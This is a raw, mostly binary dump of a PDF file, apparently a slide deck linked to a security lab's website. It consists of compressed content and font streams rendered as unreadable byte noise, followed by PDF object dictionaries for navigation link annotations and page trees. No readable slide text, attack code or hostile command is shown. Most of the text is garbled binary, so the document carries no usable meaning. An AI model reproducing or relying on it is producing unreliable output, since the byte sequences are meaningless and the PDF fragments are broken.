VKA~-YOC:~."?3  ‘ Sd\Я0yfϨ\M=hAeg9:}+nCj+` ݚ}"*Y9)ܐ݊;+=d'zF9ۗ} cu;yh(ʳ HO~~l4Cv;ڏhiM~MЩm! eT0 OyNrנi"GV3<1ZKt*7n~+ ܈YG^1 Jt&Koѷ[7dǏm!ҍ݄zU~(x@12?O.|]]0*vPQ iF 0ϑd7x};;;BLm[ef>;̠8G0rw_4H+}9G3{w TW2O2CclW4o)F%?!OvaFϡŴ-JoOпqw>W'pLwleJNH?_pOEǸyۂ]%>%< Y7~~-.SΪlQ-|7I t9l◣Oo7O!!"L  >Q)f)(;d*ds֏rh]=z.vyN!w|kGAI?st?FFn&w+gH)w1qEws;ȟ@/P>vOӻ1K/g#ѷzJVreW0@A^dp?W~zq[巿.!h=< u/@.Ԟ)5G9<Ž> xܻ |2O]J"-\BTCvP<ϒg(i=2|U'OAQ!/RN%9 3VQfRr({.yK?"ɇNɮւddb i[I~ڦH٤RRŵe9EJQ( B+ ~)<.|[!=vaŧ Фs;QDfvfقL&s2sG2g~gzG_>o~ zjׯo0|/8{N͚7ۜyn;( {1.oAIt* 9IFCn4hl % H;μ9O!k`HO8H̴/e磍2<ŽIH+0?$_lO+gIonrת0 (Gʞ92:[3Ot΢ ϛ;Ύ3R&66LOTWU&*hyYiI$ >r: 6k,NQ (ӑ޴ Ng%8i?NMvݷUSBRSՔkRD1kП>05]]S]\%|`A ;Ӵߚv[{ctNlYvEJ`vZ8q;Gcښvq+íK;]:tcirapiMQ iѤ-iICoxHF˂˖(/Aisx =8s--6}olu\g7nOo;wY.{ލӀN u$p٫^jyԟ/xi/ĵ1M\t8oQ0N]Kmso_Ƕ\on7rt\9Ig%х~<ɢ ^dKO /^ǯ2 %iMKFGWҴ",O {po>$FɸȈctX9]Z0xIq2z;}snjL6w Id).R Ѯ4ˮbϮ ]7) :2o7M"ˇ4͍X^R J{S/\(]71袳hPqx,KH8È 6 oY;@pawc/rv5wCFp0+m8-蟶w㒡Ҡ_ nyV'9&ÝvgbQđ)ۃsKmޢA(-S p-IP%l`","%RuB8Rq9F%ĩy#:[<4kixi8DRMM *ks8`\$~~iIA!~a?H^BX^*Pꕳ;X\\tXNG" s6͹N}6j%ZCD:Q>\UW&I2:KŸ奮VR-꩞6XJ%zn#[:=z{//;H77+7/ZHڮ6Nȝk6JuyᙵkӵkejOoKK/ CFm;QdpT`~U`i3g3~RIMn6dZ>5zzR~*X`|] q)Sx(Izi~%>fvaH@k:thwH7IYsOٳx&kŠ'K:_P3=T2!nZNE-g ⲩߴWţ'FdqVEt񆗩 ]ER ZW 0紺^g;T$zmR5Eܵ (L ON#yHΰ6xo/r.uXC8V5{wӞ\+FDFUz̴ư%(þM爒E g@jQj6!qځeH҅.fC%b%ႫXgdWКsEo7AΞuջ!pIy/0EG0E^4EE ZֺYvAlW!;jjfړ2hec<H3<)%3#LwM?y_a.t!m8nP[l|6#ab!L:Kִj-jQ4~8Ozc^- rG\֬0{]I YxNV=]7;}Wvff]tyo%e3- K:2v/xۉV[2LtF-!MPnӨlVi554Qx Uu|gʔ<=`ӭg+8E tl̿6ux6^YVVD()BJe$J}OHDT HVoY<{Fh%gg;:Zӎ{5WYb]tk[mj~/[܊G͝?ӟ~x?se̺Ͻ9>c'P\g_*џ2}SڠMI!!Oj[tQjHUa`D^ݠow*FOt:ҽJ1~bU7n~!,iL03L\CcQWC!̚Bb`& ɝD!WU\:V UcUؐMTezY:9`= r!2+KT>xY CCC*ׂ!k["Z0 Ø{|!f6Qh YVӓɀ&7r,It9==%?4!Sk7~y]̼,Pf^EAeCU& BS5H/eA`(DXȚB4^!gxLFLDn8p榳(c@a j,XM !=L8ĵ:81: J16!_MfP#=P^Asdq0y[oRkEFp\ҹ}DuAןF 3l DCI:LI0A0h7|{s\Pf.X~8S<+&o1,BF+'sP1tUvl"-#sDԞb4đ2OB0'&+h6l1m)x VӪ+iӫ%:E; "Suzixun.%9ՁMaLaԩ(5DD1DJ9DM$6ea8)U7TȴfŸeOf8r7xzށ?n?nG̱"/-_\]2DlW1Ӻb\ZrJ.. }cƆTcMAA%7<1'C;jY.,E$I-sk}EK-ɸ-Ᏻ)4KfXyG**ԎsLH(BQQ %+ Łhot GqadcķHQE#f"5W2j3!cbUg _WP#5&ZeEtUCUZ Kڲ7W&=e[]SU)\!ZEtׇh'"^B.r,X(=q?Ϝ ba]J@L{eYyc&W̞OjWn[״ &_3f&/67t5\#&MC%bN^y:tJp-O%#&$@RŔ3y Etr<>eh'aaSp-ZKW$4M 9hF.E֔I_5u5yJ!{5Grj6~`&,qAm\Ҙtr94ҟ, xG'+quyy5зJj|Dí#ZY]ZZM%?:QUq7I2S9BOF/ H%ArM72ŭxlknzAê3e'Fy{9$_M%ݴR^n \5¼%3M R;r$5ҝY0Ö@_/w7ʁ.n-U|,qYΉSh#t;H44$BU.E/P\z?[v?:6ԗ2[7Rd=WwSN|jԌH蓤H-}Ԍ-z+ڋ&DڬI?ʥ&Z ( %DQ0PK17&5a5Xcdr|48F)fϕQߝ+8/;mBL0Ě]jS8A /q~*Pk$)VH,  ʋnFAĎĄdBUlY%V9 {oDŸϽ/+DcXW~*i2XL~$_U4 ]y/ƬQAe &[G3/Nl4#Qj>a;P=*AJw.`V̱hn&Gbk٫z[0/Zt1?C"ǬY盵'>[e P9?dtoX<]ee_zU! WP9ؔY9KJ=@c5_ef0fJi4Z=Kljz_H$8>G>|V~Zyڟ B&ȽBHj# nI(vKڈXv&qc0 lr8 LҀVcCj%*QOIթRU2q0ڔ#a⅒0}~̞ک}zH遷ds27?alkG"EQWY?A4Hb-W([1I}iP(хDo@(ǮC⊃ ¡i`*ix*jfGb¼VX͘eO24貙tKK3G?PqAe40{S3UU6sZf5,=e]:}O=%ORBS6:->ṛ!rQ3ڐ(F 6S$gg0љ$ު0j(PA f7|~'bs͗\>C`{ ĬǔMyCrv@%!ǜ#2֐;%FK#15.+u2/H6 >~[/AYNd-asw2?g/t ~s>vn)w07wXaf/j8\u=H#UUY=3LOx_ !! Y_t-@<,(.VZ|_yzSr'~*hS)9%K.mmxkΣR𺂐Z#v@}PW`J]2y0 xrg2D|wa@(#?͛0 A`5UB@yAG;Rr>3rj# 4 'L `-pgɉ#Bɡ_X c 66"g ^Jd{-A" tmb!+yu2nw S "gՙEqȩu2Bx:r Jܱe7|@So ]rCΥUXiQwմ_~β-\sŮ#" PCgI]w G(g-5 R^D0BcӰ,G8s1͋i`T@+d/\~ۀ]7dVfElD 4!e,Jt:JҴLᖩ$ZyR1D*p%aJ~h[ψ, O*>/7>MQn7i#(c@0*+R,dP|oZyӳqyId6Qj$2Q7:ڂcŸ *b6SOTauY1ȱ&?wo*!zhDo5=`b=,Jr̤br|eX[1˿>:x`ت2D/! =tb@+O}ed&*NDA Jك}g.X-ٍ`y XWJ|c Xgq}gXo1Nbl tAn% Fg³۠:vV@\pE &,ǹ1*xMlq ȩM}xY= &JA?q y1Zbk򏔔G(co5\m|޳l/MT{dC؟tVJ*I[hѼ@bř jUO0^2VT $/Aκ$[E,4߃4/y: nl!S@lT#Tˌ{Lg*Ó;VI̹Nбy=5ir(qAes:z_Svr{27-&o#cT9niX ~-]"7|OC˻:?t*7g)8b;-|x/'ʣό9.-zBIO OTp+˵/,+GȦ2'a|5%$lBn>u_ͫw㌇0m(BSXl}\=h9oۍmUPB,],`kUNEV ݜ,wR~%?c7/\oFn.?ާy :ĨDhhDZҭph\sw#%J63J{-Ubg/J}{F"=Wtsrk(N:zTeu ` #KJ/~!UKNe_z3o2#0QLj ?1k݈7Sm[S[Z E# ")E}NU,8 G*#A*㿥Xbx *bE>90WD Kл,%qUDhMtI88/Ly3mͲY~G'j6$p'jͳ]Vg--3ꆰm#`t-SZ;ս`kfخjŇ,LI@@pe1Ⱦ&f-]u)K Wn)Qx rUV,-&ETxsfY4\EDUd)f3$ D0ų "Kn hd^ y}s{R{um+3ɲ! _ڸ_IIEtZV>PxΊTyG^Q'U'f-U)TU]ie]lZB~ ֢Dz2lQ&H0TLLKmz+_kBUqJK-;*>aPk=ʛZ;Z9_+mP*%[knnRBAo< `ѾҖ: ɳ2_2X?,*E K|RCB|輞پMe _4`mszG_|%$aE#Q–J>uf0V, U9at9?WVɊ&#V"%SY;3`?ÉJº]˟(69%Ng."1b{jSm,V3:fyBta2&38bT؊ ePpؒKV~jMk}ot^zu=2[* N&bh `, G}3VDSQQsh5SҲQrY\3.b2w[8GO0٠S/OEaRsR0hc+i@p(gG<^2۫W5mo=l=nՊ8N XVM1;ߣ뀨K@%9";EK'P.p B^ 9}ֲl\ԺWODUf}d9$'4xGOZ\MRO㉵7"TN蝬$SZ$ U斤ɟJ ncќM Oz_džMƄiwj?`y %ʯMŦ;L3GLL%=RJ@2J6 eRr$>3譧q68}oy>ݠ~SG;t=Mut Θ`4VXHI :   b ee1 g+>e,V~ q^)Llb5PVC|%ZV"0)qq3R oėQo<D-sw׋F7 KKFhi2W%Eu#%)g&ઋVL(Ŧ:CvHm@E!-g%gk ݵ0)r3ɵkM5%9n,a}|}U?YCSE7l &h;XU.̥L~>Aʻei5C&gIolAKT׼#s9(JOh /yD٤OS&?8Z~ٞ2'(D^~ <q!61|%%5L85lNfx9iJrV`bW’nQA@ocnI6m0>`W2}ǽ<#xzMUɦ9M1&hJ֑u{LM&6ktɘ4 Ky%!Ϙ>#5}En iC]~_7$,5a$)sʒ*HYSa{,==d2+q9S̭ō14meX]9@,ձe6`z=? MQ̟nbb3_CiΈ{=p5`mDَ8cz=Fy>]GqjQ c !7TRL(2e}wzurr;S2\Rg',B2>C#ZFtj+)IC` Z}u>L\uu*|idR64xѨY.rj-o9h&h۪%00URgw`O7-sINÀCQعu9. $|yp!_ xp jz|VNmN #x5No156Dq9m~Au~mŎG.Ң{z}C~sz\t!mϏ|?*ήsgD[g/_97>oYڸ!ķ *8h3gg]}هoDHհ⫼m |2 "n.㸀,'&7 $|i ݆zoj|G*WwvEA|X"O*CgMn35C[n=stL>)mr648?"e؆Gb @+7O}8wpcέ&WxʯH'0HH(+4<*Ey3`#?`uhQ<3V8jpջ,Nhl>8ʟĻmS l<P͉A^`CcdJ'H ;Ν~D `h0+@nlcgu2gϫ<"ȭt3,]|~K>"_S~ai-X q9|^'[yrt_/_u"=foY$R< rnhSh̙(oONx^~ قv` A*J(q}\y06m&H? :p=4 A `~m#zwA[m9Ń2jG`4oA-P ^OA'Gz495G!||bV'|L>:bT6+LKpT(B+R !>Ȏ1L@8_j\%w/sKx7y~`U|{pZ[1{ +2>Ve o;ŷNad7GoUz]8=5` ;4Ľ6ٺ{^sݪ8kVmq>>S=>&§JaRjJR| ~_W b۔=/. pM(>G㜟i%R ~4t\چ4-#îbD*%V 0ϳ3R!>Dx|V0>`i%@t,n<ͽ=rsq|ܻ&Q]n|;*:$[Fs,3 xmHH%@/l`EJ)4]ؔ[ p-:0:*WgQZX R>WŀK.Ù>X.>>GpGp8~VV>upG88dAI;oGh]nv.ߎ~;ooGhc~;oGrrh7FF߈~~#oDhQn7Fm'gQF$  H@$d HA2$  h?h?!?,?0Fha?0Frhauѵܳ@j +dAT>sJgX,<|Kgxxd<}hxd<}y(0<}Nxd<}\!GB2r{OOxzxzd<=͛ EzdLL2``1uS0uS::dLL!cQtxRe6)HG 8R2p#)G 8R#)HGJƑrG8# HGBƑp$#!HG8q$# H8C0p 0p 8c8cX1 1 2aaq 0p 0]O䮣.p757GWg3!-&pL%"OJ/apE1#.[Ehs\NS ϸ Ϻϼ ϾO؆'m7+|q5ߞӞ8NiL2sޔ蕎iܙל:ӏ_9G>?+C\/K(7(˨ߕRe'Dg5-NpnC+ ,;u_7Gk]IT$ ڲL]RD-Ճ]RPtPJSg,{'D(wzN?pUﯮ}Gj 2UoTGf֨ɻ}gL3tӷ㭗XBiy F %T|R:29uRT;mxD_(x=PhKPAR ΂0dHJ MIْZx7zV&bF,4S 1AZrʑ`x]`ZϹs endstream endobj 423 0 obj << /Length 1790 /Length1 3008 /Filter /FlateDecode >>stream xVml[~ϹGbǾCcDZ;iHHB {M*RF:*n&M4 !J ȤIH&m4$i@%Rs]Ħ]=sy{^bD䤓$Qqnyv c ,";zxY {qӇ?8#2E̟,.|7"GAtuE}NXl'ܬt֜}sy*`? [ybvyA{_1 aoN->ʙ<1$ p&cod\=D> ;VFL2QNq:-q P ȶc?,X5]'IK)d=@ hI)e*ŧRQ*Wieqvjwv%2f֎6m;)WoFw};⹨JH #WBtd "d>%V~N'tykL@0VZGquo](O.`Ktf)B 3ʿD'E!p0@#Na02pxx|tQ`'0`Y88L6)L 9i^ȏ\Uv. `q,ht̽ӟHw"Օر'Iez 3L76z߀q-?G#űiW~` c^RIBBnBD|o Lm&[A3296&sGe#4dFE@C @ChH  ,ҐEHCid9ɎB[Zjɑ$/QZ)]K#MzHJK3> *L_Pf8} nZJUS ]|m( !;CzH$ ԕ*~o ֈOH=|ƺ"$[ws׺Ж^[ z^6f{h?OG; ?j5*aWZh|qỉ)?1#_ӯ-{V{|sF917.3mA>LNr&EQ aTs'+C8QT1a{`)ԍ"^c%F뢏7 ~0lݍ Shk|D]ڸXA26nb4H:0^GqXUW, endstream endobj 424 0 obj << /Length 5428 /Length1 10824 /Filter /FlateDecode >>stream xZkpywAk}`"@@(ѤD LI_"ʊlz؊iljN2V:(QSwt,uftR8%&u,yҩݼjgZJiŞNf?!`v;w/PB&2]3%z?, Ot=>Ю̡wj>E]쮃{8DH@>$^A{f?CKP??qpTɽ0e)cDBFͅOQv!^CiqdD`|I񿛬G[KW=ۖ58tE%wO=Strgzz%ic\~t-Z0U>E;YGnbjrjXrvdl:iSǒ4r-=g7*|hML=DiMœ]2I59:21NZtMЏ1uzeCJ>1RBGqC ) iBOoR}! π.ȧasw0 .uc4`D <68apW{+ѥsŀj<2Jpop"f^kߋ{[fO4 q@nN`DOper \XTʉۜ )`p*p85} 'HQ8 .u@ǁip \NQy4m^)p8 .u N;A<螯T{iCO\DڊFG *s1cL4:|_CR9Hx`hCk#CrJGW:xWbmKgǟzid`h0¸Hqϒ4azXM56k-p)q۝bQD-e7d2ZZ9N9PQw[^zv rVqt@?:Hs^w̳]({ =#tPG"B]Dhu.c&k(@ۂ:و;[&: A6lz-FHIp# n$$ۡ%_#%_|qF,^f#C!(怋e>`IO:StNҩC:uH\K:DDc0$hӃ:Uv?{>Ȍ=8u+Óq̽ڽ3#m$?%dLkn 8uB_:/^C_RrU!<ȸ5GV*8plͱ5pl 83ل{6Ulb #bWZT:Z Qf2Y_au4GJrӦEh;MТ Z4A&hѴi-EhMТ Z4A&h-nĢ2-4Af&($˗xU4{2+Վ =RqPsаzYnOTj}cv<-*n+jxu†Izs wq@a;V!;|EMa֬/5]!\a%QDɲ+-(0C49| Yް.L( n$ez/w:}G݈vml5^koVG=~]&=Ld[mi| >cetHxt9r.-܋r/\9+$> π(=@zJQ =Ɔ-2,Ռ?.v!xDG!xDގN-諽 X[U(JzEQhaPϮ|f^\j\Ji*d$ͪ6 \-MmЛA@ڠiHr^10a\@9ˈeD2"x >#^6`}i[[ =%+2 .6UflfpYWhdYFl,@# >7S>Up .klsdr,[OE^bb&AʙaAg]a-YZ]Z[Ip[Ԥ∥KtEy1ǞD:ҎRsl'.PG\s@*{W^YТ?IP7yL,!bS Y+1 ce"Kwi`m`ϑ &MboM7$8$p\k{#q$p\+~,L($Ŏ HH XO "*`*`*`ҍX,\f#zj%jZ[ۗ쪈űuߪXUctxΈ.~7V%S\n@)9YJ#ZWf yhRdRXT'Dq:W3q"J!-******N>AAپC ېe-*3T[ 5f19De~q2Eq]Ysꍚ;o )Z+dw"tJűP,wpBO?팖1]V)Ka!?gӊx8^.U$xjl1_ ˑ7i=^Fwet[^Dd#lYbq`X^C fn?cNp 9W \Ac3oM+hp 4vu/vT-?L:rD{՛z;&vSQEijR{o\J]+q-0AܙbGL&%S9BX~͢O 0v%7زbf.206TɺX:kUb{}Ԑz#N1A=HGߍMpmw&b\.6+] )\A?/'Ze(%n>Z CƘ^,&w!&0FL!&샿o>惿}vLor"a4\> Op4\>DڼυBi,'X52GjڂZ8?T1\ v.pNi.8 c.8 c.8ҍXFHYiA椀56 /( Y*BԶyXMQ>?ڟ][5sWR0 u9ޝOTZJ;С'h*E>#t#pdZ#n%v'!an8 ^$`lF `F `F `F 60J0J0J0J0jF,F-tQXIŽl.8՞tk GPxQ!* $!* *RS$?;~C%5X#P,Y}8_k9?=?ݶhi4 N(}H%YCMs<}HDDt)a{o=CRth#6o׹Εγj<~w"2p,LpV6z!_G")?GG0> >> endobj 458 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 39.514 140.297 151.749 151.742 ] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 459 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 39.514 115.331 101.969 124.843 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 460 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 39.514 86.499 253.638 97.944 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 461 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0 1 1 ] /Rect [ 336.542 15.425 360.996 40.094 ] /Subtype /Link /A << /Type /Action /S /URI /URI (http://www.esec.fr.sogeti.com) >> >> endobj 462 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 232.399 5.96 240.369 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation6) >> >> endobj 463 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 238.376 5.96 248.339 15.425 ] /Subtype /Link /A << /S /Named /N /GoToPage >> >> endobj 464 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 246.346 5.96 254.316 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation8) >> >> endobj 465 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 253.735 5.96 260.708 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation6) >> >> endobj 466 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 258.716 5.96 265.69 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 467 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 263.697 5.96 270.671 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 468 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 268.679 5.96 275.652 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation8) >> >> endobj 469 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 275.071 5.96 282.044 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation6) >> >> endobj 470 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 280.052 5.96 287.026 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 471 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 285.033 5.96 292.007 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation10) >> >> endobj 472 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 290.014 5.96 296.988 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 473 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 296.406 5.96 303.38 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation6) >> >> endobj 474 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 301.388 5.96 308.362 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 475 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 306.369 5.96 313.343 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation10) >> >> endobj 476 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 311.35 5.96 318.324 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 477 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 317.742 5.96 328.701 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 478 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 326.709 5.96 339.66 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 479 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 339.078 5.96 348.045 15.425 ] /Subtype /Link /A << /S /Named /N /GoBack >> >> endobj 480 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 346.052 5.96 354.022 15.425 ] /Subtype /Link /A << /S /Named /N /Find >> >> endobj 481 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 352.03 5.96 360.996 15.425 ] /Subtype /Link /A << /S /Named /N /GoForward >> >> endobj 482 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 264.495 182.414 271.878 ] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 483 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 259.104 182.414 266.488 ] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 484 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 253.713 182.414 261.097 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 485 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 248.323 182.414 255.706 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 486 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 182.753 -0.996 291.642 5.96 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 487 0 obj << /ColorSpace 3 0 R /Pattern 2 0 R /ExtGState 1 0 R /Font << /F26 84 0 R /F38 85 0 R /F39 87 0 R /F15 155 0 R /F53 154 0 R >> /XObject << /Fm1 46 0 R /Fm7 124 0 R /Fm15 244 0 R /Im7 118 0 R >> /ProcSet [ /PDF /Text ] >> endobj 488 0 obj << /Type /Page /Contents 489 0 R /Resources 487 0 R /MediaBox [ 0 0 362.835 272.126 ] /Trans << /S /R >> /Parent 491 0 R /Annots [ 461 0 R 462 0 R 463 0 R 464 0 R 465 0 R 466 0 R 467 0 R 468 0 R 469 0 R 470 0 R 471 0 R 472 0 R 473 0 R 474 0 R 475 0 R 476 0 R 477 0 R 478 0 R 479 0 R 480 0 R 481 0 R 482 0 R 483 0 R 484 0 R 485 0 R 457 0 R 458 0 R 459 0 R 460 0 R 486 0 R ] /AA << /O << /N /NextPage /S /Named >> >> >> endobj 489 0 obj << /Length 1812 /Filter /FlateDecode >>stream xZ[o[7 ~^:Qѥo+\={' ͥKRvڡ+DR$gBWul+(atB{-A;q=BneP21[zq%n5( :եIrةRC=R_eg'1 v~y;_kӤS4N.Цr 1Ni;^J JK!ЉMvQEo8'Sq($ܭ,y(t%1cb`gcAp^^2[Sr&s@O &MKiϭI P\wJ$Yl-#u6>A/"өHr/Jiq<n hprsY;<(w؋DUާ-9ae!I1ފeҞm2gnA%fV<(?Dg9[wl:S޳,PJX8zBrYD"\pvYtNPolLQeI C3;ԴQF!UEDCkN%mY'U3E`R)hS:n[0plTUfLj^ &(Z-ڨҒ .xvbTE2y3 sN?`7.w9R_'~Oo/:Eԅ$qC"'0Z tRiZUԟZ&N>`t=&WYk?di's- rӬF毥nB5:'&s-g||=]f^)lɔ3%tӓ /7i n?kI<]} |?umRzo]VRȅ,)m`[R{R)! b^JqBTa/<.yG.Ɍ}\5_f+1Y X%*!{&8G'3onnX?r#Q9'Z}|o&P޺Iz/Mjalea Б=xFg/""r!zqU\XVT09=<'NΨ0;O ~pa|2?3BqH\巋dLmJ'#y=$S¸Hc fHnˑ v@X9t :%nUFA]k#4+_ > endobj 491 0 obj << /Count 6 /Kids [ 488 0 R 523 0 R 557 0 R 590 0 R 631 0 R 673 0 R ] /Type /Pages /Parent 1288 0 R >> endobj 492 0 obj << /D [ 523 0 R /XYZ 334.488 1.245 null ] >> endobj 493 0 obj << /D [ 590 0 R /XYZ 334.488 1.245 null ] >> endobj 494 0 obj << /Type /XObject /Subtype /Form /BBox [ 0 0 5669.291 3.985 ] /FormType 1 /Matrix [ 1 0 0 1 0 0 ] /Resources 527 0 R /Length 15 /Filter /FlateDecode >>stream xP( endstream endobj 495 0 obj << /Type /XObject /Subtype /Form /BBox [ 0 0 4.689 4.689 ] /FormType 1 /Matrix [ 1 0 0 1 0 0 ] /Resources 528 0 R /Length 15 /Filter /FlateDecode >>stream xP( endstream endobj 496 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0 1 1 ] /Rect [ 336.542 15.425 360.996 40.094 ] /Subtype /Link /A << /Type /Action /S /URI /URI (http://www.esec.fr.sogeti.com) >> >> endobj 497 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 232.399 5.96 240.369 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 498 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 238.376 5.96 248.339 15.425 ] /Subtype /Link /A << /S /Named /N /GoToPage >> >> endobj 499 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 246.346 5.96 254.316 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation9) >> >> endobj 500 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 253.735 5.96 260.708 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 501 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 258.716 5.96 265.69 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation8) >> >> endobj 502 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 263.697 5.96 270.671 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation8) >> >> endobj 503 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 268.679 5.96 275.652 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation9) >> >> endobj 504 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 275.071 5.96 282.044 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation6) >> >> endobj 505 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 280.052 5.96 287.026 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 506 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 285.033 5.96 292.007 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation10) >> >> endobj 507 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 290.014 5.96 296.988 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 508 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 296.406 5.96 303.38 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation6) >> >> endobj 509 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 301.388 5.96 308.362 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 510 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 306.369 5.96 313.343 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation10) >> >> endobj 511 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 311.35 5.96 318.324 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 512 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 317.742 5.96 328.701 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 513 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 326.709 5.96 339.66 15.425 ] /Subtype /Link /A << /S /GoTo /D 